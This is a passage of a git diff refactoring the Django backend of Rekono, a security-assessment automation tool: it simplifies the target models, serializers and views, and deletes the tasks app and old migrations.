'target__project__owner': ['exact'], - 'target__project__owner__username': ['exact', 'icontains'], - 'target__target': ['exact', 'icontains'], - 'target__type': ['exact'], - 'port': ['exact'] + fields = { + "project": ["exact"], + "project__name": ["exact", "icontains"], + "target": ["exact", "icontains"], + "type": ["exact"], } diff --git a/src/backend/targets/migrations/0001_initial.py b/src/backend/targets/migrations/0001_initial.py deleted file mode 100644 index f1c84c659..000000000 --- a/src/backend/targets/migrations/0001_initial.py +++ /dev/null @@ -1,86 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-23 11:29 - -import django.db.models.deletion -import input_types.base -import security.input_validation -from django.db import migrations, models - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('projects', '0001_initial'), - ] - - operations = [ - migrations.CreateModel( - name='Target', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('target', models.TextField(max_length=100)), - ('type', models.TextField(choices=[('Private IP', 'Private Ip'), ('Public IP', 'Public Ip'), ('Network', 'Network'), ('IP range', 'Ip Range'), ('Domain', 'Domain')], max_length=10)), - ('defectdojo_engagement_id', models.IntegerField(blank=True, null=True, validators=[security.input_validation.validate_number])), - ('project', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='targets', to='projects.project')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='TargetPort', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('port', models.IntegerField(validators=[security.input_validation.validate_number])), - ('target', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='target_ports', to='targets.target')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='TargetVulnerability', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('cve', models.TextField(max_length=20, validators=[security.input_validation.validate_cve])), - ('target_port', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='target_vulnerabilities', to='targets.targetport')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='TargetTechnology', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=100, validators=[security.input_validation.validate_name])), - ('version', models.TextField(blank=True, max_length=100, null=True, validators=[security.input_validation.validate_name])), - ('target_port', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='target_technologies', to='targets.targetport')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='TargetEndpoint', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('endpoint', models.TextField(max_length=500)), - ('target_port', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='target_endpoints', to='targets.targetport')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.AddConstraint( - model_name='targetvulnerability', - constraint=models.UniqueConstraint(fields=('target_port', 'cve'), name='unique target vulnerability'), - ), - migrations.AddConstraint( - model_name='targettechnology', - constraint=models.UniqueConstraint(fields=('target_port', 'name', 'version'), name='unique target technology'), - ), - migrations.AddConstraint( - model_name='targetport', - constraint=models.UniqueConstraint(fields=('target', 'port'), name='unique target port'), - ), - migrations.AddConstraint( - model_name='targetendpoint', - constraint=models.UniqueConstraint(fields=('target_port', 'endpoint'), name='unique target endpoint'), - ), - migrations.AddConstraint( - model_name='target', - constraint=models.UniqueConstraint(fields=('project', 'target'), name='unique target'), - ), - ] diff --git a/src/backend/targets/migrations/0002_auto_20230108_1356.py b/src/backend/targets/migrations/0002_auto_20230108_1356.py deleted file mode 100644 index 2c29fc978..000000000 --- a/src/backend/targets/migrations/0002_auto_20230108_1356.py +++ /dev/null @@ -1,22 +0,0 @@ -# Generated by Django 3.2.16 on 2023-01-08 12:56 - -from django.db import migrations - - -class Migration(migrations.Migration): - - dependencies = [ - ('targets', '0001_initial'), - ] - - operations = [ - migrations.DeleteModel( - name='TargetEndpoint', - ), - migrations.DeleteModel( - name='TargetTechnology', - ), - migrations.DeleteModel( - name='TargetVulnerability', - ), - ] diff --git a/src/backend/targets/migrations/__init__.py b/src/backend/targets/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index 5544d1fc2..9c2705504 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -1,196 +1,121 @@ +import ipaddress import logging -from typing import Any, Dict, cast +import re +import socket +from typing import Any, Dict -from defectdojo.api import DefectDojo -from defectdojo.exceptions import DefectDojoException +from django.core.exceptions import ValidationError from django.db import models -from input_types.base import BaseInput -from input_types.enums import InputKeyword -from input_types.utils import get_url +from framework.enums import InputKeyword +from framework.models import BaseInput from projects.models import Project -from security.input_validation import validate_number -from tools.models import Input - +from security.input_validation import IP_RANGE_REGEX from targets.enums import TargetType # Create your models here. -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() # Rekono logger -class Target(models.Model, BaseInput): - '''Target model.''' +class Target(BaseInput): + project = models.ForeignKey( + Project, related_name="targets", on_delete=models.CASCADE + ) + target = models.TextField(max_length=100) # Target IP, domain or network + type = models.TextField(max_length=10, choices=TargetType.choices) # Target type - project = models.ForeignKey(Project, related_name='targets', on_delete=models.CASCADE) # Related project - target = models.TextField(max_length=100) # Target IP, domain or network - type = models.TextField(max_length=10, choices=TargetType.choices) # Target type - # Related engagement Id in Defect-Dojo - defectdojo_engagement_id = models.IntegerField(blank=True, null=True, validators=[validate_number]) + filters = [BaseInput.Filter(type=TargetType, field="type")] class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Project and Target - models.UniqueConstraint(fields=['project', 'target'], name='unique target') - ] + unique_together = ["project", "target"] - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. + @staticmethod + def get_type(target: str) -> str: + """Get target type from target address. Args: - input (Input): Tool input whose filter will be applied + target (str): Target value + + Raises: + ValidationError: Raised if target doesn't match any supported type Returns: - bool: Indicate if this instance match the input filter or not - ''' - if not input.filter: - return True + str: Target type associated to the target + """ + if target in [ + "127.0.0.1", + "localhost", + "frontend", + "backend", + "postgres", + "redis", + "initialize", + "tasks-worker", + "executions-worker", + "findings-worker", + "emails-worker", + "telegram-bot", + "nginx", + ]: + # Target is invalid + raise ValidationError({"target": f"Invalid target {target}"}) + try: + # Check if target is an IP address (IPv4 or IPv6) + ip = ipaddress.ip_address(target) + if ip.is_private: # Private IP (also for IPv6) + return TargetType.PRIVATE_IP + else: # Public IP (also for IPv4) + return TargetType.PUBLIC_IP + except ValueError: + pass # Target is not an IP address + try: + ipaddress.ip_network(target) # Check if target is a network + return TargetType.NETWORK + except ValueError: + pass # Target is not a network + # Check if target is an IP range + if bool(re.fullmatch(IP_RANGE_REGEX, target)): + return TargetType.IP_RANGE try: - distinct = input.filter[0] == '!' - filter_types = [ - cast(models.TextChoices, TargetType)[f.upper()] for f in input.filter.replace('!', '').split(',s') - ] - return self.type not in filter_types if distinct else self.type in filter_types - except KeyError: - return True + socket.gethostbyname(target) # Check if target is a Domain + return TargetType.DOMAIN + except socket.gaierror: + pass + logger.warning(f"[Security] Invalid target {target}") + # Target is invalid or target type is not supported + raise ValidationError( + { + "target": f"Invalid target {target}. IP address, IP range or domain is required" + } + ) def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. + """Get useful information from this instance to be used in tool execution as argument. Args: accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' + """ return { InputKeyword.TARGET.name.lower(): self.target, InputKeyword.HOST.name.lower(): self.target, - InputKeyword.URL.name.lower(): get_url(self.target) + InputKeyword.URL.name.lower(): self._get_url(self.target), } def __str__(self) -> str: - '''Instance representation in text format. + """Instance representation in text format. Returns: str: String value that identifies this instance - ''' + """ return self.target def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. + """Get the related project for the instance. This will be used for authorization purposes. Returns: Project: Related project entity - ''' + """ return self.project - - def get_defectdojo_engagement(self, dd_client: DefectDojo) -> int: - '''Get Id of the Defect-Dojo engagement associated to the target. If not exists, create a new one. - - Args: - dd_client (DefectDojo): dd_client (DefectDojo): Defect-Dojo API client - - Returns: - int: Engagement Id in Defect-Dojo - ''' - exists = False - if self.defectdojo_engagement_id is not None: - exists, _ = dd_client.get_engagement(self.defectdojo_engagement_id) # Check existing engagement Id - if not exists: # Engagement not found - self.create_defectdojo_engagement(dd_client) # Create a new engagement - return self.defectdojo_engagement_id - - def create_defectdojo_engagement(self, dd_client: DefectDojo) -> None: - '''Create Defect-Dojo engagement to import the executions and findings detected for the target. - - Args: - dd_client (DefectDojo): Defect-Dojo API client - ''' - # Create engagement in Defect-Dojo - success, body = dd_client.create_engagement( - self.project.defectdojo_product_id, - self.target, - f'Rekono assessment for {self.target}' - ) - if success: - logger.info(f'[Defect-Dojo] New engagement {body["id"]} related to target {self.id} has been created') - self.defectdojo_engagement_id = body['id'] # Save Defect-Dojo engagement Id - self.save(update_fields=['defectdojo_engagement_id']) - else: - logger.warning(f"[Defect-Dojo] Engagement for the target {self.id} can't be created") - raise DefectDojoException( - {'engagement': [f"Defect-Dojo engagement related to target {self.id} can't be created"]} - ) - - -class TargetPort(models.Model, BaseInput): - '''Target port model.''' - - target = models.ForeignKey(Target, related_name='target_ports', on_delete=models.CASCADE) # Related target - port = models.IntegerField(validators=[validate_number]) # Port number - - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Target and Port - models.UniqueConstraint(fields=['target', 'port'], name='unique target port') - ] - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - if not input.filter: - return True - try: - to_check = int(input.filter) - # If the filter is a number, target ports will be filtered by port - return to_check == self.port - except ValueError: - return True - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - output = { - InputKeyword.TARGET.name.lower(): self.target.target, - InputKeyword.HOST.name.lower(): self.target.target, - InputKeyword.PORT.name.lower(): self.port, - InputKeyword.PORTS.name.lower(): [self.port], - InputKeyword.URL.name.lower(): get_url(self.target.target, self.port) - } - if accumulated and InputKeyword.PORTS.name.lower() in accumulated: - output[InputKeyword.PORTS.name.lower()] = accumulated[InputKeyword.PORTS.name.lower()] - output[InputKeyword.PORTS.name.lower()].append(self.port) - output[InputKeyword.PORTS_COMMAS.name.lower()] = ','.join([str(port) for port in output[InputKeyword.PORTS.name.lower()]]) # noqa: E501 - return output - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.target.target} - {self.port}' - - def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - ''' - return self.target.project diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index 6aa6d8534..de19835d3 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -1,74 +1,42 @@ from typing import Any, Dict -from authentications.serializers import AuthenticationSerializer -from django.forms import ValidationError -from rest_framework import serializers +from rest_framework.serializers import ModelSerializer +from targets.models import Target -from targets.models import Target, TargetPort -from targets.utils import get_target_type - -class SimplyTargetSerializer(serializers.ModelSerializer): - '''Simply serializer to include target main data in other serializers.''' +class SimpleTargetSerializer(ModelSerializer): + """Simple serializer to include target main data in other serializers.""" class Meta: - '''Serializer metadata.''' - model = Target - fields = ('id', 'project', 'target', 'type') # Target fields exposed via API + fields = ("id", "project", "target", "type") # Target fields exposed via API -class TargetSerializer(serializers.ModelSerializer): - '''Serializer to manage targets via API.''' +class TargetSerializer(ModelSerializer): + """Serializer to manage targets via API.""" class Meta: - '''Serializer metadata.''' - model = Target - fields = ( # Target fields exposed via API - 'id', 'project', 'target', 'type', 'defectdojo_engagement_id', - 'target_ports', 'input_technologies', 'input_vulnerabilities', 'tasks' + fields = ( # Target fields exposed via API + "id", + "project", + "target", + "type", + "target_ports", + "input_technologies", + "input_vulnerabilities", + # "tasks", ) - read_only_fields = ( # Read only fields - 'type', 'target_ports', 'input_technologies', 'input_vulnerabilities', 'tasks' - ) - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - if Target.objects.filter(target=attrs['target'], project=attrs['project']).exists(): - raise ValidationError({'target': 'This target already exists in this project'}) - attrs['type'] = get_target_type(attrs['target']) - return attrs - - -class TargetPortSerializer(serializers.ModelSerializer): - '''Serializer to manage target ports via API.''' - - authentication = AuthenticationSerializer(many=False, read_only=True) # Authentication details for read ops - - class Meta: - '''Serializer metadata.''' - - model = TargetPort - fields = ( # Target port fields exposed via API - 'id', 'target', 'port', 'authentication' + read_only_fields = ( # Read only fields + "type", + "target_ports", + "input_technologies", + "input_vulnerabilities", + # "tasks", ) - # Read only fields - read_only_fields = ('authentication',) def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. + """Validate the provided data before use it. Args: attrs (Dict[str, Any]): Provided data @@ -78,8 +46,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: Returns: Dict[str, Any]: Data after validation process - ''' + """ attrs = super().validate(attrs) - if TargetPort.objects.filter(target=attrs['target'], port=attrs['port']).exists(): - raise ValidationError({'port': 'This port already exists in this target'}) + attrs["type"] = Target.get_type(attrs["target"]) return attrs diff --git a/src/backend/targets/urls.py b/src/backend/targets/urls.py index 45197aef2..c255a25b1 100644 --- a/src/backend/targets/urls.py +++ b/src/backend/targets/urls.py @@ -1,11 +1,9 @@ from rest_framework.routers import SimpleRouter - -from targets.views import TargetPortViewSet, TargetViewSet +from targets.views import TargetViewSet # Register your views here. router = SimpleRouter() -router.register('targets', TargetViewSet) -router.register('target-ports', TargetPortViewSet) +router.register("targets", TargetViewSet) urlpatterns = router.urls diff --git a/src/backend/targets/utils.py b/src/backend/targets/utils.py deleted file mode 100644 index bd9122689..000000000 --- a/src/backend/targets/utils.py +++ /dev/null @@ -1,57 +0,0 @@ -import ipaddress -import logging -import re -import socket - -from django.core.exceptions import ValidationError -from security.input_validation import IP_RANGE_REGEX - -from targets.enums import TargetType - -logger = logging.getLogger() # Rekono logger - - -def get_target_type(target: str) -> str: - '''Get target type from target address. - - Args: - target (str): Target value - - Raises: - ValidationError: Raised if target doesn't match any supported type - - Returns: - str: Target type associated to the target - ''' - if target in [ - '127.0.0.1', 'localhost', 'frontend', 'backend', - 'postgres', 'redis', 'postfix', 'initialize', - 'tasks-worker', 'executions-worker', 'findings-worker', - 'emails-worker', 'telegram-bot', 'nginx' - ]: - # Target is invalid - raise ValidationError({'target': f'Invalid target {target}'}) - try: - # Check if target is an IP address (IPv4 or IPv6) - ip = ipaddress.ip_address(target) - if ip.is_private: # Private IP (also for IPv6) - return TargetType.PRIVATE_IP - else: # Public IP (also for IPv4) - return TargetType.PUBLIC_IP - except ValueError: - pass # Target is not an IP address - try: - ipaddress.ip_network(target) # Check if target is a network - return TargetType.NETWORK - except ValueError: - pass # Target is not a network - if bool(re.fullmatch(IP_RANGE_REGEX, target)): # Check if target is an IP range - return TargetType.IP_RANGE - try: - socket.gethostbyname(target) # Check if target is a Domain - return TargetType.DOMAIN - except socket.gaierror: - pass - logger.warning(f'[Security] Invalid target {target}') - # Target is invalid or target type is not supported - raise ValidationError({'target': f'Invalid target {target}. IP address, IP range or domain is required'}) diff --git a/src/backend/targets/views.py b/src/backend/targets/views.py index 02353b358..f21c6590d 100644 --- a/src/backend/targets/views.py +++ b/src/backend/targets/views.py @@ -1,47 +1,25 @@ -from api.views import CreateViewSet, GetViewSet -from rest_framework.mixins import (CreateModelMixin, DestroyModelMixin, - ListModelMixin, RetrieveModelMixin) - -from targets.filters import TargetFilter, TargetPortFilter -from targets.models import Target, TargetPort -from targets.serializers import TargetPortSerializer, TargetSerializer +from framework.views import BaseViewSet +from targets.filters import TargetFilter +from targets.models import Target +from targets.serializers import TargetSerializer # Create your views here. -class TargetViewSet( - GetViewSet, - CreateViewSet, - CreateModelMixin, - ListModelMixin, - RetrieveModelMixin, - DestroyModelMixin -): - '''Target ViewSet that includes: get, retrieve, create, and delete features.''' +class TargetViewSet(BaseViewSet): + """Target ViewSet that includes: get, retrieve, create, and delete features.""" - queryset = Target.objects.all().order_by('-id') + queryset = Target.objects.all() serializer_class = TargetSerializer filterset_class = TargetFilter # Fields used to search targets - search_fields = ['target'] - # Project members field used for authorization purposes - members_field = 'project__members' - - -class TargetPortViewSet( - GetViewSet, - CreateViewSet, - CreateModelMixin, - ListModelMixin, - RetrieveModelMixin, - DestroyModelMixin -): - '''TargetPort ViewSet that includes: get, retrieve, create, and delete features.''' - - queryset = TargetPort.objects.all().order_by('-id') - serializer_class = TargetPortSerializer - filterset_class = TargetPortFilter - # Fields used to search target ports - search_fields = ['port'] - # Project members field used for authorization purposes - members_field = 'target__project__members' + search_fields = ["target"] + ordering_fields = ["id", "target", "type"] + http_method_names = [ + "get", + "post", + "delete", + ] + + # # Project members field used for authorization purposes + # members_field = "project__members" diff --git a/src/backend/tasks/__init__.py b/src/backend/tasks/__init__.py deleted file mode 100644 index dc1d304bc..000000000 --- a/src/backend/tasks/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Tasks.''' diff --git a/src/backend/tasks/admin.py b/src/backend/tasks/admin.py deleted file mode 100644 index 01cb3caaf..000000000 --- a/src/backend/tasks/admin.py +++ /dev/null @@ -1,6 +0,0 @@ -from django.contrib import admin -from tasks.models import Task - -# Register your models here. - -admin.site.register(Task) diff --git a/src/backend/tasks/apps.py b/src/backend/tasks/apps.py deleted file mode 100644 index e1b763dd2..000000000 --- a/src/backend/tasks/apps.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.apps import AppConfig - - -class TasksConfig(AppConfig): - '''Tasks Django application.''' - - name = 'tasks' diff --git a/src/backend/tasks/enums.py b/src/backend/tasks/enums.py deleted file mode 100644 index 687422445..000000000 --- a/src/backend/tasks/enums.py +++ /dev/null @@ -1,25 +0,0 @@ -from django.db import models - -# Create your enums here. - - -class Status(models.TextChoices): - '''Tasks statuses.''' - - REQUESTED = 'Requested' # Task execution doesn't start yet - # Task execution has been skipped due to insufficient parameters - SKIPPED = 'Skipped' - RUNNING = 'Running' # Task execution is running right now - # Task execution has been cancelled by the user - CANCELLED = 'Cancelled' - ERROR = 'Error' # Task execution finishes with errors - COMPLETED = 'Completed' # Task execution finishes successfully - - -class TimeUnit(models.TextChoices): - '''Time units supported for Task scheduling and repeating configuration.''' - - MINUTES = 'Minutes' - HOURS = 'Hours' - DAYS = 'Days' - WEEKS = 'Weeks' diff --git a/src/backend/tasks/filters.py b/src/backend/tasks/filters.py deleted file mode 100644 index 83a6ab3a5..000000000 --- a/src/backend/tasks/filters.py +++ /dev/null @@ -1,33 +0,0 @@ -from django_filters import rest_framework -from django_filters.rest_framework.filters import OrderingFilter -from tasks.models import Task - - -class TaskFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort Task entities.''' - - o = OrderingFilter(fields=( # Ordering fields - ('target__project', 'project'), - 'target', 'process', 'tool', 'intensity', 'executor', 'status', 'start', 'end' - )) - - class Meta: - '''FilterSet metadata.''' - - model = Task - fields = { # Filter fields - 'target': ['exact'], - 'target__target': ['exact', 'icontains'], - 'target__project': ['exact'], - 'target__project__name': ['exact', 'icontains'], - 'process': ['exact'], - 'process__name': ['exact', 'icontains'], - 'tool': ['exact'], - 'tool__name': ['exact', 'icontains'], - 'intensity': ['exact'], - 'executor': ['exact'], - 'executor__username': ['exact', 'icontains'], - 'status': ['exact'], - 'start': ['gte', 'lte', 'exact'], - 'end': ['gte', 'lte', 'exact'] - } diff --git a/src/backend/tasks/migrations/0001_initial.py b/src/backend/tasks/migrations/0001_initial.py deleted file mode 100644 index 7b2652458..000000000 --- a/src/backend/tasks/migrations/0001_initial.py +++ /dev/null @@ -1,36 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-23 11:29 - -from django.db import migrations, models -import django.db.models.deletion -import security.input_validation - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('tools', '0002_initial'), - ] - - operations = [ - migrations.CreateModel( - name='Task', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('rq_job_id', models.TextField(blank=True, max_length=50, null=True)), - ('intensity', models.IntegerField(choices=[(1, 'Sneaky'), (2, 'Low'), (3, 'Normal'), (4, 'Hard'), (5, 'Insane')], default=3)), - ('status', models.TextField(choices=[('Requested', 'Requested'), ('Skipped', 'Skipped'), ('Running', 'Running'), ('Cancelled', 'Cancelled'), ('Error', 'Error'), ('Completed', 'Completed')], default='Requested', max_length=10)), - ('scheduled_at', models.DateTimeField(blank=True, null=True)), - ('scheduled_in', models.IntegerField(blank=True, null=True, validators=[security.input_validation.validate_time_amount])), - ('scheduled_time_unit', models.TextField(blank=True, choices=[('Minutes', 'Minutes'), ('Hours', 'Hours'), ('Days', 'Days'), ('Weeks', 'Weeks')], max_length=10, null=True)), - ('repeat_in', models.IntegerField(blank=True, null=True, validators=[security.input_validation.validate_time_amount])), - ('repeat_time_unit', models.TextField(blank=True, choices=[('Minutes', 'Minutes'), ('Hours', 'Hours'), ('Days', 'Days'), ('Weeks', 'Weeks')], max_length=10, null=True)), - ('creation', models.DateTimeField(auto_now_add=True)), - ('enqueued_at', models.DateTimeField(blank=True, null=True)), - ('start', models.DateTimeField(blank=True, null=True)), - ('end', models.DateTimeField(blank=True, null=True)), - ('configuration', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.configuration')), - ], - ), - ] diff --git a/src/backend/tasks/migrations/0002_initial.py b/src/backend/tasks/migrations/0002_initial.py deleted file mode 100644 index cb5caf714..000000000 --- a/src/backend/tasks/migrations/0002_initial.py +++ /dev/null @@ -1,47 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-23 11:29 - -from django.conf import settings -from django.db import migrations, models -import django.db.models.deletion - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('tools', '0002_initial'), - ('tasks', '0001_initial'), - ('resources', '0002_initial'), - migrations.swappable_dependency(settings.AUTH_USER_MODEL), - ('targets', '0001_initial'), - ('processes', '0003_initial'), - ] - - operations = [ - migrations.AddField( - model_name='task', - name='executor', - field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL), - ), - migrations.AddField( - model_name='task', - name='process', - field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='processes.process'), - ), - migrations.AddField( - model_name='task', - name='target', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='tasks', to='targets.target'), - ), - migrations.AddField( - model_name='task', - name='tool', - field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool'), - ), - migrations.AddField( - model_name='task', - name='wordlists', - field=models.ManyToManyField(blank=True, related_name='wordlists', to='resources.Wordlist'), - ), - ] diff --git a/src/backend/tasks/migrations/__init__.py b/src/backend/tasks/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py deleted file mode 100644 index 66f265c3a..000000000 --- a/src/backend/tasks/models.py +++ /dev/null @@ -1,66 +0,0 @@ -from django.conf import settings -from django.db import models -from processes.models import Process -from projects.models import Project -from resources.models import Wordlist -from security.input_validation import validate_time_amount -from targets.models import Target -from tools.enums import IntensityRank -from tools.models import Configuration, Tool - -from tasks.enums import Status, TimeUnit - -# Create your models here. - - -class Task(models.Model): - '''Task model.''' - - rq_job_id = models.TextField(max_length=50, blank=True, null=True) # Job Id in the tasks queue - target = models.ForeignKey(Target, related_name='tasks', on_delete=models.CASCADE) # Related target - process = models.ForeignKey(Process, blank=True, null=True, on_delete=models.SET_NULL) # Process to be executed - tool = models.ForeignKey(Tool, blank=True, null=True, on_delete=models.SET_NULL) # Tool to be executed - # Configuration to be applied (only for Tool tasks) - configuration = models.ForeignKey(Configuration, on_delete=models.SET_NULL, blank=True, null=True) - # Intensity to be applied in the tool executions - intensity = models.IntegerField(choices=IntensityRank.choices, default=IntensityRank.NORMAL) - # User that has requested the task - executor = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True) - status = models.TextField(max_length=10, choices=Status.choices, default=Status.REQUESTED) # Task status - scheduled_at = models.DateTimeField(blank=True, null=True) # Date when the task will be executed - # Amount of time before task execution - scheduled_in = models.IntegerField(blank=True, null=True, validators=[validate_time_amount]) - # Time unit to apply to the 'sheduled in' value - scheduled_time_unit = models.TextField(max_length=10, choices=TimeUnit.choices, blank=True, null=True) - # Amount of time before repeat task execution - repeat_in = models.IntegerField(blank=True, null=True, validators=[validate_time_amount]) - # Time unit to apply to the 'repeat in' value - repeat_time_unit = models.TextField(max_length=10, choices=TimeUnit.choices, blank=True, null=True) - creation = models.DateTimeField(auto_now_add=True) # Creation date - enqueued_at = models.DateTimeField(blank=True, null=True) # Date at task got enqueued - start = models.DateTimeField(blank=True, null=True) # Task execution start date - end = models.DateTimeField(blank=True, null=True) # Task execution end date - wordlists = models.ManyToManyField(Wordlist, related_name='wordlists', blank=True) # Wordlists applied - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - value = f'{self.target.project.name} - {self.target.target} - ' - if self.process: - value += self.process.name - elif self.tool: - value += self.tool.name - if self.configuration: - value += f' - {self.configuration.name}' - return value - - def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - ''' - return self.target.project diff --git a/src/backend/tasks/queue.py b/src/backend/tasks/queue.py deleted file mode 100644 index 4d468de3f..000000000 --- a/src/backend/tasks/queue.py +++ /dev/null @@ -1,78 +0,0 @@ -import logging -from datetime import timedelta -from typing import Any - -import django_rq -from django.utils import timezone -from django_rq import job -from processes.executor import executor as processes -from tasks.enums import Status -from tasks.models import Task -from tools.executor import executor as tools - -logger = logging.getLogger() # Rekono logger - - -def producer(task: Task) -> None: - '''Enqueue a new task in the tasks queue. - - Args: - task (Task): Task to enqueue - ''' - task_queue = django_rq.get_queue('tasks-queue') # Get tasks queue - task.enqueued_at = timezone.now() # Task will be enqueued now by default - if task.scheduled_at: # Task scheduled at specific date - task.enqueued_at = task.scheduled_at # Update enqueued date - # Enqueue task at specific date - task_job = task_queue.enqueue_at(task.scheduled_at, consumer, task=task, on_success=scheduled_callback) - logger.info(f'[Task] Task {task.id} will be enqueued at {task.scheduled_at}') - elif task.scheduled_in and task.scheduled_time_unit: - # Task scheduled after specific amount of time - delay = {task.scheduled_time_unit.lower(): task.scheduled_in} - task.enqueued_at = timezone.now() + timedelta(**delay) # Update enqueued date - # Enqueue task after specific amount of time - task_job = task_queue.enqueue_in(timedelta(**delay), consumer, task=task, on_success=scheduled_callback) - logger.info(f'[Task] Task {task.id} will be enqueued in {task.scheduled_in} {task.scheduled_time_unit}') - else: # Inmediate task - # Enqueue task - task_job = task_queue.enqueue(consumer, task=task, on_success=scheduled_callback) - logger.info(f'[Task] Task {task.id} has been enqueued') - task.rq_job_id = task_job.id # Save Job Id in task model - task.save(update_fields=['enqueued_at', 'rq_job_id']) - - -@job('tasks-queue') -def consumer(task: Task) -> Task: - '''Consume jobs from tasks queue and processes them. - - Args: - task (Task): Task associated to the job - - Returns: - Task: Processed task - ''' - if task.tool: - tools.execute(task) # Tool task - elif task.process: - processes.execute(task) # Process task - return task - - -def scheduled_callback(job: Any, connection: Any, result: Task, *args: Any, **kwargs: Any) -> None: - '''Run code after execution job success. In this case, enqueue again the periodic tasks. - - Args: - job (Any): Not used. - connection (Any): Not used. - result (Task): Previous task execution - ''' - if result and result.repeat_in and result.repeat_time_unit: # Periodic task - frequency = {result.repeat_time_unit.lower(): result.repeat_in} - result.enqueued_at = result.enqueued_at + timedelta(**frequency) # Update enqueued date - task_queue = django_rq.get_queue('tasks-queue') # Get tasks queue - # Enqueue the task again after the configured time - task_job = task_queue.enqueue_at(result.enqueued_at, consumer, task=result, on_success=scheduled_callback) - logger.info(f'[Task] Task {result.id} has been enqueued again') - result.rq_job_id = task_job.id # Update Job Id in task model - result.status = Status.REQUESTED # Update task status - result.save(update_fields=['enqueued_at', 'rq_job_id', 'status']) diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py deleted file mode 100644 index 2ca9ee141..000000000 --- a/src/backend/tasks/serializers.py +++ /dev/null @@ -1,121 +0,0 @@ -from typing import Any, Dict - -from django.utils import timezone -from processes.models import Process -from processes.serializers import SimplyProcessSerializer -from rest_framework import serializers -from targets.models import Target -from targets.serializers import SimplyTargetSerializer -from tasks.models import Task -from tasks.queue import producer -from tools.enums import IntensityRank -from tools.models import Configuration, Intensity, Tool -from tools.serializers import (ConfigurationSerializer, IntensityField, - SimplyToolSerializer) -from users.serializers import SimplyUserSerializer - - -class TaskSerializer(serializers.ModelSerializer): - '''Serializer to manage tasks via API.''' - - target = SimplyTargetSerializer(many=False, read_only=True) # Target details for read operations - target_id = serializers.PrimaryKeyRelatedField( # Target Id for Task creation - write_only=True, - 